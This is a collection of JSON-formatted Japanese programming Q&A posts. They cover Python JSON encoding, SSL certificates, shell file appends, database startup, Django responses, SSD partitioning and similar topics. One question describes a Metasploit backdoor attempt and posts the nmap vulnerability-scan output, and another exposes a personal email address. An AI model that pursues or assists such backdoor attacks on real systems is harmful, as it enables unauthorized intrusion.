question
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"body": "# 環境\n\n * Python 3.11.2\n\n# はじめに\n\n日本語を含むオブジェクトをJSON文字列に変換する場合、`ensure_ascii=False`を指定する必要があります。\n\n```\n\n In [489]: d = {\"x\":\"あ\"}\n \n In [490]: json.dumps(d)\n Out[490]: '{\"x\": \"\\\\u3042\"}'\n \n In [491]: json.dumps(d, ensure_ascii=False)\n Out[491]: '{\"x\": \"あ\"}'\n \n```\n\n> ensure_ascii が (デフォルト値の) true の場合、出力では入力された全ての非 ASCII\n> 文字はエスケープされていることが保証されています。ensure_ascii が false の場合、これらの文字はそのまま出力されます。\n\n<https://docs.python.org/ja/3.11/library/json.html#json.dump>\n\n# 質問\n\nなぜ`ensure_ascii`引数はデフォルトで`True`なのでしょうか？ \nJSON文字を出力する場合は、非ASCII文字もその出力したいケースの方が多いと思いました。\n\nまた、たとえばJavaScriptの[JSON.stringfy](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)では、Pythonの`ensure_ascii`に相当する引数はありません。\n\n```\n\n > console.log(JSON.stringify({ x: \"あ\"}));\n {\"x\":\"あ\"}\n \n```\n\nなぜPythonでは、`ensure_ascii`のような機能が存在するのかが疑問に思いました。\n\nPython2から続く歴史的経緯なのでしょうか？\n\n# 調べたこと\n\n以下の質問が関連しそうですが、Python2に関する質問のためか、あまり理解できませんでした。\n\n<https://stackoverflow.com/questions/40412714/using-json-dumps-with-ensure-\nascii-true>",
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"title": "`json.dump`関数の`ensure_ascii`引数は、なぜデフォルトで`True`なのでしょうか？",
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"body": "JSONは文字列のエンコーディングに関する規定が存在しません。[json.org](https://www.json.org/json-\nja.html)などを見れば書かれていないことが分かると思います。そのため、日本語であればShift-JISかもしれませんし、UTF-8かもしれません。\n\nデコーダーがどのように解釈するか保証がないため、安全を考慮すればエンコーダーは非ASCII文字を全てエスケープする、という判断は妥当かと。 \nなお、エスケープする際はUTF-16を使用して`\\u1234`と表現することが定められていますので、この点は曖昧性がありません。\n\n* * *\n\n> 最初のJSONの仕様であるRFC4627には、\n>\n\n>> JSON text SHALL be encoded in Unicode. The default encoding is UTF-8.\n\n>\n> とありました。 したがって、エンコーディングがShift_JISでないことは確かだと思いました。\n\nRFC化される前からJSONは使われていました。そもそもJavaScript上で`eval`でデコードできることが目的でしたし。そして、その当時はJSONを含むJavaScriptコードのエンコーディングは定められていませんでした。\n\n後からRFC等が制定されたとしても、過去に作られたプログラムがなくなるわけではなく、互換性を考慮する必要があるわけです。",
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"body": "[JSON は UTF-8\nで符号化する必要がある](https://datatracker.ietf.org/doc/html/rfc8259#section-8.1)のですが、このルールは\nJSON\nが最初にできた後に追加された規定です。このルール以前に作られたシステムだと非ASCII文字をUTF-8で符号化しても正しく読めない可能性があるため、ASCIIで出力したほうが無難となります。",
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"body": "Pythonの以下の処理は, 何を表示しようとしてるかは分かっても \n結果が見える場合と見えない場合があります \n日本語フォントや絵文字フォントがロードされてれば, 日本語や絵文字が表示されるけど, なければトーフ(豆腐: たぶん何らかの四角のようなもの) になるはず\n\n```\n\n >>> '\\N{GRINNING FACE}'\n ''\n \n```\n\n* * *\n\nJSON仕様はこちら\n\n * (json.org) [JSON の紹介](https://www.json.org/json-ja.html) より, PDF [ECMA-404 The JSON Data Interchange Standard](http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-404.pdf)\n * IETF [RFC 8259](https://www.rfc-editor.org/info/rfc8259)\n * 適当に見つけた和訳: [JSON(JavaScript Object Notation)データ交換フォーマット](https://www.asahi-net.or.jp/%7Eax2s-kmtn/internet/rfc8259j.html)\n\nそれによると\n\n> 7. 文字列 \n>\n> 文字列の表現は、プログラミング言語のCファミリーで用いられている規定に似ています。文字列は、引用符で始まり、引用符で終わります。エスケープしなければならない(MUST)文字(引用符、バックスラッシュ、および制御文字(U+0000からU+0000))を除くすべてのUnicode文字を引用符内に置くことができます。 \n>\n> 任意の文字をエスケープできます。文字が基本多言語面(U+0000からU+FFFF)にある場合、6文字のシーケンス(バックスラッシュの後に小文字のu、その後にその文字のコードポイントをエンコードした4桁の16進が続く)として表すことができます。16進文字のAからFは、大文字でも小文字でもかまいません。したがって、例えば、1つのバックスラッシュ文字のみを含む文字列は、「\\u005C」と表すことができます。 \n>\n> または、いくつかのよく知られている2文字のシーケンス・エスケープ表現もあります。したがって、例えば、1つのバックスラッシュ文字のみを含む文字列は、「\\」と、よりコンパクトに表すことができます。 \n>\n> 基本多言語面にない拡張文字をエスケープするためには、UTF-16サロゲート・ペアをエンコードした12文字のシーケンスとして文字を表します。したがって、例えば、ト音記号(U+1D11E)のみを含む文字列は、「\\uD834\\uDD1E」と表すことができます。\n>\n\n> 8. 文字列と文字に関する課題 \n> 8.1. 文字エンコーディング \n>\n> 閉じたエコシステムの一部ではないシステムの間で交換されるJSONテキストは、UTF-8[RFC3629]を用いてエンコードしなければなりません(MUST)。\n>\n\n[基本多言語面](https://ja.wikipedia.org/wiki/%E5%9F%BA%E6%9C%AC%E5%A4%9A%E8%A8%80%E8%AA%9E%E9%9D%A2)\nにひらがななども含まれます \n「表すことができます」としか記されてなさそうなので, \n(そのデフォルトが Python2 との関連であったかもだが) あとは 状況により選択するのでは？\n\n * 視認性重視するかどうか (先頭に記したこと)\n * i18n 考慮する必要があるか (先頭に記したこと)\n * サイズ考慮する必要があるか (Unicode エスケープシーケンス使うなら少しサイズが大きくなる)\n * 脆弱性の考慮 (たとえばスパムメール対策で全角表現するように, エスケープする方がよい場合も)\n * その他",
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"body": "公式ドキュメント [:mod:`json` --- JSON encoder and decoder(cpython/json.rst at main ·\npython/cpython ·\nGitHub)](https://github.com/python/cpython/blob/main/Doc/library/json.rst)\nから引用。\n\n※ 現時点での Python では、RFC 8259 ではなくて RFC 7159 をリファレンスとしています。\n\n> JSON (JavaScript Object Notation), specified by **RFC 7159** (which\n> obsoletes RFC 4627) and by ECMA-404, is a lightweight data interchange\n> format inspired by JavaScript object literal syntax (although it is not a\n> strict subset of JavaScript [1] ).\n\n> [Character\n> Encodings](https://github.com/python/cpython/blob/main/Doc/library/json.rst#character-\n> encodings)\n>\n> Be cautious when parsing JSON data from untrusted sources. A malicious JSON\n> string may cause the decoder to consume considerable CPU and memory\n> resources. Limiting the size of data to be parsed is recommended.\n>\n> **The RFC requires that JSON be represented using either UTF-8, UTF-16, or\n> UTF-32, with UTF-8 being the recommended default for maximum\n> interoperability**.\n>\n> **As permitted, though not required, by the RFC, this module's serializer\n> sets ensure_ascii=True by default** , thus escaping the output so that the\n> resulting strings only contain ASCII characters.\n>\n> Other than the ensure_ascii parameter, this module is defined strictly in\n> terms of conversion between Python objects and :class:`Unicode strings `,\n> and thus does not otherwise directly address the issue of character\n> encodings.\n>\n> The RFC prohibits adding a byte order mark (BOM) to the start of a JSON\n> text, and this module's serializer does not add a BOM to its output. The RFC\n> permits, but does not require, JSON deserializers to ignore an initial BOM\n> in their input. This module's deserializer raises a :exc:`ValueError` when\n> an initial BOM is present.\n>\n> The RFC does not explicitly forbid JSON strings which contain byte sequences\n> that don't correspond to valid Unicode characters (e.g. unpaired UTF-16\n> surrogates), but it does note that they may cause interoperability problems.\n> By default, this module accepts and outputs (when present in the original\n> :class:`str`) code points for such sequences.",
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"body": "Windowsでローカル開発専用SSL証明書を発行する基本的なやり方は下記通りですが、ブラウザーは証明書に信用したくないままです。\n\n[](https://i.stack.imgur.com/GYJou.png)\n\n行った行動を論述します。\n\n## 段階１ OpenSSLで証明書を発行\n\nOpenSSLはWindowsに入ってませんから、Git Bashから実行します。\n\n```\n\n openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem\n \n```\n\n[](https://i.stack.imgur.com/ubGrz.png)\n\n入力した情報は\n\n```\n\n Country Name (2 letter code) [AU]:JP\n State or Province Name (full name) [Some-State]:Tokyo\n Locality Name (eg, city) []:Tokyo\n Organization Name (eg, company) [Internet Widgits Pty Ltd]:Yamato Daiwa\n Organizational Unit Name (eg, section) []:Development\n Common Name (e.g. server FQDN or YOUR name) []:localhost\n Email Address []:tokugawa.takesi@gmail.com\n \n```\n\n## 段階２ centmgrからの操作\n\n「信頼されたルート証明書機関」へインポートします。\n\n[](https://i.stack.imgur.com/GAfjn.png)\n\n下図、次へ進む事しかできません。\n\n[](https://i.stack.imgur.com/CI8bs.png)\n\nファイルパスを指定します。「.pem」形式はWindowsにより期待されないようなので、ファイルを表示させるには、ファイルピッカーで「全てのファイル」を事前に指定しなければいけません。\n\n[](https://i.stack.imgur.com/gnbUP.png)\n\n「信頼されたルート証明機関」へ配置します。\n\n[](https://i.stack.imgur.com/Lzptl.png)\n\n確認モーダルで「OK」をクリックしたら、手順が完了なはずです。\n\n[](https://i.stack.imgur.com/sqtyz.png)\n\n上記の手順に漏れた行動は何ですか？",
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"title": "Windowsでローカル開発専用SSL証明書を発行する方法",
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"body": "証明書はただ存在すればいいというものではありません。\n\n>\n```\n\n> Common Name (e.g. server FQDN or YOUR name) []:localhost\n> \n```\n\nと入力して作成された証明書は `https://localhost/` のアドレスの正当性を証明するものとなります。\n\n他方、ブラウザーのエラーメッセージには「 **127.0.0.1** では、～」と表示されています。証明書とは異なる\n`https://127.0.0.1/` でアクセスされたのでしょうか？\n\nここまでの説明で分かると思いますが、\n\n * 証明書が証明するアドレス\n * ブラウザーがアクセスするアドレス\n\nを一致させる必要があります。この場合の一致とは、ネットワーク的な一致ではなく文字列としての一致です。",
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"body": "Linux の bash シェルで、複数プロセスで同時に実行されるシェルスクリプトから1つのファイルにログとして1行ずつ追記します。\n\n順序は厳密である必要はなく、出力が欠けたり echo 文がエラーにならなければ良いです。\n\n今は以下のようにログファイル自身で排他ロックを獲得して追記を実行することで、期待どおり動作します。\n\n`flock -x logfile -c \"echo hello >> logfile\"`\n\nここで疑問なのは、このような場合でも flock は必要でしょうか？例えば\n\n`echo hello >> logfile`\n\nだけの場合、同時に複数のプロセスで実行されても、エラーになったり、出力が欠けるなど発生する可能性はありますでしょうか。",
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"title": "同じファイルに対するリダイレクション追記は排他が必要ですか？",
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"body": "## 回答\n\n排他処理は不要だと思います。 \nLinuxでのechoなど標準出力への書き込みはシステムコールwriteを使っていますので、他のプロセスからの出力が重なっても結果が失われることはありません。\n\nbashは標準出力をファイルにリダイレクトするとき、アペンドモードでファイルをopenしているのでファイルの末尾に追加されます。出力が混じることもないと思います。\n\n* * *\n\n以下調査結果です。\n\n## スクリプト(q.sh)\n\n```\n\n #!/bin/bash\n echo AAAAAAAAAAAAAAAAAAAAAAA >> q.txt\n \n```\n\n## straceの実行\n\n```\n\n strace bash ./q.sh\n \n```\n\n## 実行結果抜粋\n\n```\n\n openat(AT_FDCWD, \"q.txt\", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3\n fcntl(1, F_GETFD) = 0\n fcntl(1, F_DUPFD, 10) = 10\n fcntl(1, F_GETFD) = 0\n fcntl(10, F_SETFD, FD_CLOEXEC) = 0\n dup2(3, 1) = 1\n close(3) = 0\n newfstatat(1, \"\", {st_mode=S_IFREG|0664, st_size=5, ...}, AT_EMPTY_PATH) = 0\n write(1, \"AAAAAAAAAAAAAAAAAAAAAAA\\n\", 24) = 24\n dup2(10, 1) = 1\n fcntl(10, F_GETFD) = 0x1 (flags FD_CLOEXEC)\n close(10) = 0\n \n \n```",
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"body": "以下の記事が参考になるかと思います。\n\n[Appending to a File from Multiple\nProcesses](https://nullprogram.com/blog/2016/08/03/)\n\n> Appending\n>\n> The first concern is solved by the operating system, with one caveat. On\n> POSIX systems, opening a file with the `O_APPEND` flag will guarantee that\n> [writes always safely\n> append](https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html).\n>\n\n>> If the `O_APPEND` flag of the file status flags is set, the file offset\nshall be set to the end of the file prior to each write and no intervening\nfile modification operation shall occur between changing the file offset and\nthe write operation.\n\n>\n> However, this says nothing about interleaving. **Two processes successfully\n> appending to the same file will result in all their bytes in the file in\n> order, but not necessarily contiguously**.\n\nただし、NFS や HDFS では注意が必要とのことです。\n\n> The caveat is that not all filesystems are POSIX-compatible. Two famous\n> examples are NFS and the Hadoop Distributed File System (HDFS). On these\n> networked filesystems, appends are simulated and **subject to race\n> conditions**.",
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"body": "出力が欠けることはありませんが、出力元のプログラムの動作によっては、行の途中でログが混じる可能性があります。ただし、条件やタイミングがかなりシビアなため、発生は極めて希だと考えられます。\n\n* * *\n\n以下は割り込みを確認するためのテスト用のプログラムです。(Rubyで書いていますが、ログファイルに書き込むところの`system`メソッドはシェルのリダイレクトが使用されます)\n\nslow_print.rb\n\n```\n\n str = ('0'..'9').to_a.join + ('A'..'Z').to_a.join + ('a'..'z').to_a.join\n str.each_char do |c|\n print c\n $stdout.flush\n sleep 0.1\n end\n puts\n \n```\n\nmulti_rediret.rb\n\n```\n\n 10.times.map do\n fork do\n system('ruby slow_print.rb >> test.log')\n end\n end.each do |pid|\n Process.waitpid(pid)\n end\n \n```\n\n上記二つのファイルを置き、Rubyがインストールされた環境で、`ruby\nmulti_redirect.rb`と実行するとtest.logが書き込まれます。slow_print.rbのみ実行した場合は\n\n```\n\n 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n \n```\n\nの一行になります。`>>`によるリダイレクトションが排他処理を行うのであれば、上の行が10個書き込まれるはずですが、実際のtest.logは\n\n```\n\n 000000000011111111112222...\n \n```\n\nというように、それぞれの間に挟み込まれた物になります。つまり、排他処理はされず、それぞれのプログラムは、それぞれ勝手なタイミングに書き込みを実行し、行が混じる事があります。\n\n* * *\n\n上のプログラムは一文字ずつ打つのに0.1秒待っており、その度フラッシュまでしています。これはわざと割り込みさせるためにしており、実際にはあまりないプログラムです(プログレスバーを表示する場合などでは使われていますが)。実際のプログラムは一行単位でフラッシュすることが多いです。そのためあ、一行を一回のシステムコールで書き込もうとします。その場合は、その処理の途中に割り込んで別のプロセスの書き込むことはありません。しかし、一回のシステムコールではバッファサイズ(Linuxの場合の標準は4096)までしか書き込めないため、書き込み量が多い場合は、一回で書き込まれず、他のプロセスにわりこまれる可能性はあります。(一行一行が短くても、複数行をまとめてフラッシュすると行の途中でシステムコールがわかれるといこともあり得ます。)\n\nということで、実際の所、行の途中で割り込まれるようなログになることは極めて希だと考えられます。また、ログは、基本的には、問題があったときの調査に使用するぐらいですが、ログの行が混じっていた場合でも、前後から本来の行を取り出すことは可能だと考えられます。しかし、ログ内容を分析集計する場合は、そのようなログが邪魔になってしまうことも確かです。そういった分析が前提であれば、別の方法(ログ出力は一つのプロセスだけがするようにするとか、syslog経由にするとか)を考える必要があります。\n\n* * *\n\n行の途中でログが混ざる例を見たことが無い人がほとんどかと思いますが、私は、一つだけそのようなログを吐き出す商用ソフトウェアを知っています。ただ、それはWebアプリケーションで、CGI(クローズドソースのバイナリ)で動くものでした。そのWebアプリケーションには認証などの機能があり、認証ログや動作ログ等が独自のログファイルに書き込むようになっていました。アクセス元の統計や分析のために認証ログを解析しようとしたときに、異常な行が希に現れる事があって、詳しく見ると行の途中でログが混じっているという物でした。ただ、発生は非常に希であり、統計的な分析には影響はほぼ無く、また、インシデント発生時の調査にも支障を来さなかったため、サポートへの不具合報告はしませんでした。\n\n多数の利用者がいるWebアプリケーションのCGIであるため、同時実行はかなりの頻度で発生します。ソースコードが公開されていない商用ソフトウェアと言うことで詳細は不明ではありますが、行の途中で別のプロセスが割り込んだ結果だと考えられます。",
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"body": "web開発の経験が全くない素人なのですがdrupal commerceで簡単なネットショップを作成しようと四苦八苦しています。 \n現在チェックアウト完了後に購入者に送信される確認メールを日本語にしようと思い、色々いじってみているのですが、画像の矢印の部分の都道府県の表示だけが日本語化する方法が分からず行き詰っています。 \n誰かこの部分を日本語化する方法を知っている方はいらっしゃらないでしょうか。\n\n[](https://i.stack.imgur.com/zhSFo.jpg)",
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"title": "drupal commerceの注文確認メールの日本語化",
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"body": "フォローした際に相手方にフォローされたことを伝える通知機能を作成しています。 \nフォローを生成するコントローラー(relationship_controller)が正常に動き、userのmodelにて、 \n通知を生成するコードに流れていくのですが、生成されませんでした。 \n生成箇所のコードを拝見して頂けないでしょうか？\n\nuser.rb\n\n```\n\n def create_notification_follow!(current_user)\n notification = current_user.active_notifications.new(\n visited_id: id,\n action: 'follow'\n )\n notification.save if notification.valid?\n end\n \n```\n\nrelationship_controller\n\n```\n\n def create\n user = User.find(params[:follow_id])\n current_user.follow(user)\n # ここから通知機能\n user.create_notification_follow!(current_user)\n # ここまで通知機能\n flash[:success] = 'ユーザをフォローしました。'\n redirect_to user\n end\n \n```\n\nバージョン \nRuby on Rails6",
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"title": "生成されないコードの原因が分かりません",
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"body": "検索しても改善の事例を見つけることができず、もしご存じの方がいらっしゃいましたら、ご教示いただけますと幸いです。 \nよろしくお願いいたします。\n\n下記を参照してGoogle ColabにWhisperをインストールし動画を文字おこししたいなと思っております。\n\n<https://aismiley.co.jp/ai_news/what-is-whisper/>\n\n以下のコードを入力して実行したところ、エラーが出てまいりました。 \nコードのどの部分を直せばよいでしょうか？\n\n**エラーメッセージ:**\n\n```\n\n SyntaxError: invalid character '“' (U+201C)\n \n```\n\n**入力したコード:**\n\n```\n\n model = whisper.load_model(“base”)\n result = model.transcribe(“sankaku.mp4”)\n print(result[“text”])\n \n```",
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"title": "SyntaxError: invalid character '“' (U+201C) につきまして",
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"body": "> SyntaxError: invalid character '“' (U+201C)\n\nってのははやいはなし、コード中では使用することができない文字を使っている、ってことです \nいわゆる、全角文字はコード中には使用できません",
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"body": "私も同じところでつまづきました。ダブルクォーテーション全角「”」みたいだったので半角「\"」に変更したら成功しましたよ!",
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"body": "php+laravelからmysqlの操作を勉強していたのですが、mysqlにログインできません。 \n色々と検索を行い、試行錯誤しているのですが中々解決をしないので質問をさせて頂きました。\n\n### 試したこと\n\nまずログインを試みた際に以下のように表示されました。\n\n```\n\n ec2-user:~/environment/test $ mysql -u root -p\n Enter password: \n ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)\n \n```\n\nそこからmysqlがインストールされていないのかと考えて調べてみたのですが、存在しているように見えます。\n\n```\n\n ec2-user:~/environment/test $ mysql --version\n mysql Ver 15.1 Distrib 10.2.38-MariaDB, for Linux (x86_64) using EditLine wrapper\n \n```\n\nなのでサーバーを起動させようとしたのですが以下の通り表示されました。 \n何がいけなかったのでしょうか？\n\n```\n\n ec2-user:~/environment/test $ mysql.server start\n bash: mysql.server: command not found\n \n```",
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"title": "mysqlがログイン・起動できない",
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"body": "以下のいずれかを試してみてください。\n\n```\n\n $ sudo systemctl start mariadb\n \n```\n\nまたは\n\n```\n\n $ sudo systemctl start mysqld\n \n```",
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"body": "rest_frameworkで、データベースに連携しない形で、任意のJSONレスポンスを返しますが、json.dumps関数によるインデントを含めると、正しく表示できません。\n\nリクエスト\n\n```\n\n http://127.0.0.1:8000/api/version\n \n```\n\n返送したいレスポンス\n\n```\n\n {\n 'version':'ver 1.2'\n }\n \n```\n\n## ソースコード\n\n/(apiアプリケーション名)/urls.py\n\n```\n\n from django.urls import path, include\n from .views import VersionView\n \n urlpatterns = [\n path('version', VersionView,name='version'),\n ]\n \n \n```\n\n/(apiアプリケーション名)/views.py\n\n```\n\n import json\n \n from django.shortcuts import render\n \n def VersionView(request, *args,**kwargs):\n params = {\n 'version':\n json.dumps({'version':'ver 1.2'},indent=2)\n }\n return render(request,\"api/version.html\",params)\n \n```\n\n/(apiアプリケーション名)/templates/(apiアプリケーション名)/version.html\n\n```\n\n {{version}}\n \n```\n\n## 結果\n\nPostManでの結果\n\n```\n\n GET:http://127.0.0.1:8000/api/version\n \n [Pretty]タブ\n {\n "version": "ver 1.2"\n }\n [Preview]タブ\n { \"version\": \"ver 1.2\" }\n \n```\n\n通常、Prettyタブの結果で、インデント生成されたJSONデータが表示されるのですが、上記のようになってしまいます。",
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"title": "Django REST API の返送で、json.dumps関数で生成した文字列が意図通りにならない",
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"body": "(質問が書かれてないので感想です)\n\n<https://docs.djangoproject.com/en/4.2/ref/request-response/#jsonresponse-\nobjects> で\n\n```\n\n return JsonResponse({'version':'ver 1.2'}, json_dumps_params={'indent': 2})\n \n```\n\nと返すべきでしょう",
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"body": "kali linuxでNmapで脆弱性スキャンを行ったところ、このようなエラーが起きました。\n\n```\n\n |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.\n |_http-csrf: Couldn't find any CSRF vulnerabilities.\n |_http-dombased-xss: Couldn't find any DOM based XSS.\n 443/tcp open https\n |_http-csrf: Couldn't find any CSRF vulnerabilities.\n |_http-dombased-xss: Couldn't find any DOM based XSS.\n |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.\n 8080/tcp open http-proxy\n |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)\n |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)\n 8443/tcp open https-alt\n \n```\n\n**まずこれをしようと思った理由が、** \nmetasploitでバックドアを作成する時、\n\n```\n\n 000.00.00.0:443 - Exploit failed: EOFError EOFError\n \n```\n\nと出ました。\n\nまずこれらがエラーなのか、解決策を教えてください。 \n初心者なので、出来るだけやさしくお願いします...\n\nちゃんとkali linux側のROOT権限でやってます",
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"title": "nmapで、ERROR: script execution faild (use -d to debug)と表示される",
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"body": "以前、どこかで「OSがインストールされたドライブとストレージドライブは分けた方がいい。なぜならOSのファイルを参照するときにストレージ分まで見に行って遅くなる場合があるから」という記述を見た記憶があります。\n\n上記を踏まえて、「それであれば、いっそアプリケーションごとにパーティションを区切るともっと早くなる(効率的に参照できる)のでは？」と思いました。\n\nつまり、例えばOS、ゲームA(10GB)、ゲームB(30GB)、ゲームC(50GB)の4つがあるとして、 \nOS用: 100GB \nゲームA用: 15GBぐらい \nゲームB用: 35GBぐらい \nゲームC用: 60GBぐらい \nというパーティションを作ってやれば、それぞれの参照時に参照する範囲が限定されるので非常に効率的なのではないか(読み込みが早いのではないか)と考えました。 \n※ゲームのアップデートは考えないものとしています\n\nこの考え方は、理屈上あっているでしょうか？ \n現実的かどうかはさておき、いったん自分の考え方が正しいのかを確認したいです。\n\nよろしくお願いします！",
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"title": "Windows11におけるSSDのパーティションについての質問です",
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"body": "質問文中「範囲が限定される」と何か高速化する効果があるとしたら、それはハードディスクメディアのヘッドの移動範囲が限定される、すなわちシーク時間の最小化くらいしか思いつかないです。\nSSD で採用されているであろう NAND フラッシュメモリではシーク時間はないので無駄な努力と思われます。 \n# ウエアレベリングで物理メモリセルが再マップされるとかその辺は略\n\nハードディスクや SSD\nを２台以上積むと、その複数台装置に対して並列（同時）に読み書きができる＝高速化が見込めるのですが、１台しかないときパーティション分けても無駄そうです。 \n# 要するに RAID0 なんだけど、故障耐性が０なのでオイラは使わない。",
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"body": "「以前どこかで見た気がする」で終わらせず、実際にいま調べてみましょう。\n\n* * *\n\n「SSD パーティション分割 メリット」辺りで google 検索すると、以下のような解説ページや、あなたの質問と同じような Q&A\nのやり取りがヒットします。\n\n[HDD と SSD、パーティション分割のメリットの違い](https://direct.pc-physics.com/partition/hdd-ssd-\npartition-division-difference.html)\n\nHDD であれば保存するデータに応じてパーティションを分割することで、断片化を防いで結果的に速度低下も発生しづらくなる…ということはありますが、SSD\nにおいては当てはまりません。 \n(そもそも、HDD/SSD 問わず「参照時に参照する範囲が限定されると効率的」という理屈がよく分からない)\n\n「ゲームのアップデートは考えない」とありますが、セーブデータ等で使用量が増えるケースも考えられます。パーティションを分割することで、むしろ容量が足りなくなった時に融通が利かせづらい問題が出てくることも考慮する必要があると思います。",
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"body": "【問題内容】 \nGithub Actionで Buildozerの実行でエラーが発生します。\n\n```\n\n [DEBUG]: running build_ext\n [DEBUG]: building 'jnius' extension\n [DEBUG]: /usr/bin/ccache /github/workspace/.buildozer_global/android/platform/android-ndk-r25b/toolchains/llvm/prebuilt/linux-x86_64/bin/clang -target armv7a-linux-androideabi21 -fomit-frame-pointer -march=armv7-a -mfloat-abi=softfp -mfpu=vfp -mthumb -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -target armv7a-linux-androideabi21 -fomit-frame-pointer -march=armv7-a -mfloat-abi=softfp -mfpu=vfp -mthumb -fPIC -I/github/workspace/.buildozer/android/platform/build-armeabi-v7a/build/other_builds/python3/armeabi-v7a__ndk_target_21/python3/Include -DANDROID -I/github/workspace/.buildozer_global/android/platform/android-ndk-r25b/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include -I/github/workspace/.buildozer/android/platform/build-armeabi-v7a/build/python-installs/un_official_launcher/armeabi-v7a/include/python3.1 -fPIC -I/github/workspace/.buildozer/android/platform/build-armeabi-v7a/build/other_builds/hostpython3/desktop/hostpython3/Include -I/github/workspace/.buildozer/android/platform/build-armeabi-v7a/build/other_builds/hostpython3/desktop/hostpython3/native-build -c jnius/jnius.c -o build/temp.linux-x86_64-3.10/jnius/jnius.o\n [DEBUG]: jnius/jnius.c:12406:19: warning: assigning to 'jchar *' (aka 'unsigned short *') from 'const jchar *' (aka 'const unsigned short *') discards qualifiers [-Wincompatible-pointer-types-discards-qualifiers]\n [DEBUG]: __pyx_v_j_chars = (__pyx_v_j_env[0])->GetStringChars(__pyx_v_j_env, __pyx_v_j_string, NULL);\n [DEBUG]: ^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n [DEBUG]: jnius/jnius.c:54433:5: error: expression is not assignable\n [DEBUG]: ++Py_REFCNT(o);\n [DEBUG]: ^ ~~~~~~~~~~~~\n [DEBUG]: jnius/jnius.c:54435:5: error: expression is not assignable\n [DEBUG]: --Py_REFCNT(o);\n [DEBUG]: ^ ~~~~~~~~~~~~\n \n```\n\n数か月前までエラーが無かったブランチです。\n\n【試行】 \n以下サイトを参考に、\n\n<https://github.com/Android-for-Python/Android-for-Python-Users#error-\nexpression-is-not-assignable>\n\n・Cython のアップグレード は、 \nrequirements = kivy, android, cython==0.29.33 \nや \nrequirements = kivy, android, cython \nとして\n\n・p4a.branch = develop\n\nもしてみましたが、解決はしません。\n\nただ、buildozer appclean については、 \nGithub Action での実行方法が不明で行っておりません。\n\nまた、現在 fork元の以下も、自動実行でエラーが出ておりますので\n\n<https://github.com/kivy/kivy-launcher/actions>\n\nこれも参考になりません。\n\n【お願い】 \n何方かアドバイスをいただけますか？ \n宜しくお願いします。",
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"body": "アプリ開発の場ですが、迷ってしまってます。お知恵をお貸しください。\n\n弊社では、位置情報を提供するサービスをしており、今回SONYのSPRESENSE\nと拡張ボードを格納する筐体を探しております。選挙カーなどに乗せて位置情報を取得し。LTE通信でサーバにビックデータとして格納しようとしております。次のような筐体を考えた場合、ベストは何でしょうか。お教えくださいませ。\n\n 1. 防水にしたい。\n 2. 電源は非接触充電で、測位のON/OFFや周期と送信タイミングをボタン等では無く、非接触等で指示できる様にしたい。\n 3. 大きさは、カロリーメイトの箱くらいにしたい。\n 4. バッテリーを内蔵したい。\n 5. 自動車に据え置きできる取り付け具も必要。",
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"body": "スタックオーバーフローに質問するような内容かな？とは思いますが、一応知見を共有します。\n\nSPRESENSEに限らず、屋外用のセンサーシステムのPoCで、私はよくタッパーを活用します。防水はばっちりですし、いろいろな大きさが選べます。タッパーにあわせて３Dプリントで内部に固定用治具をつくっておけば一応それらしい形になります。\n\n悩ましいのはカメラや太陽光パネル等からの給電の配線で、穴をあけないといけません。どうしても隙間ができてしまいます。その場合は、日曜大工などで使われるコーキング剤やグルーなどで穴を埋めておけば、一応防水らしいことはできます。（うまく塗る腕が必要ですが）\n\nDIYersの方々は、タッパーを活用している方々が多くいますので、「電子工作 タッパー」ググってみるといろいろな作例が見れると思いますよ。\n\n以上ご参考になれば。",
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"body": "PHPで10、25、30、5をアルゴリズム的にバブルソートで5、10,25、30のように昇順で並び替えたいです(ただsortでは×)\n\n画像のコードの添削か、新しいコードの提案をお願いできないでしょうか \nよろしくお願いします\n\n[](https://i.stack.imgur.com/fFlNj.png)",
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"body": "```\n\n <?php\n function bubble_sort(array $data){\n $n = count($data);\n for($i = 0; $i < $n; $i++){\n for($j = $i+1; $j < $n; $j++){\n if ($data[$i] > $data[$j]) {\n list($data[$i], $data[$j]) = [$data[$j], $data[$i]];\n }\n }\n }\n return $data;\n }\n \n $data = array(10, 30, 25, 5);\n $res = bubble_sort($data);\n print_r($res);\n \n // Array\n // (\n // [0] => 5\n // [1] => 10\n // [2] => 25\n // [3] => 30\n // )\n \n```",
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"body": "Android studioを使用してアプリを作っています。 \n下の画像の様に/data/data/cdProject.CDAndroid/databasesの下のデータベースCDSearch.dbとかは、アプリで作成できる仕様にしたのですが、他のDBはSDカードからコピーしたいのです。\n\nSDKに入っている ADB Shell を使ってコピーしようとしても、Permission denied が出てしまいます。 \n普通のファイル管理ツールでは、/data フォルダが出てこないです。\n\nPCに接続しても内部ストレージで /data フォルダが出てこないし、Androidのバージョンは13です。 \n同じソースでAndroid 7では `adb shell` でコピー可でした。\n\nパーミッションを変えてみてもコピーできなくて、出来ないのではと思ってしまいました。 \nよろしくお願いします。\n\n[](https://i.stack.imgur.com/f9whK.jpg)",
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"title": "Android でDBを内部ストレージにコピーしたい",
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"body": "<https://github.com/uehara1414/japanize-matplotlib> \nに従って、Anaconda Promptで \n`conda install -c uehara1414 japanize-matplotlib` \nを実行した所で下記のように青枠のエラーが発生しました。\n\nエラー原因と改善方法を教えていただきたいです。\n\n[](https://i.stack.imgur.com/nD4gK.png)",
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"title": "japanize-matplotlibのインストールエラーについて",
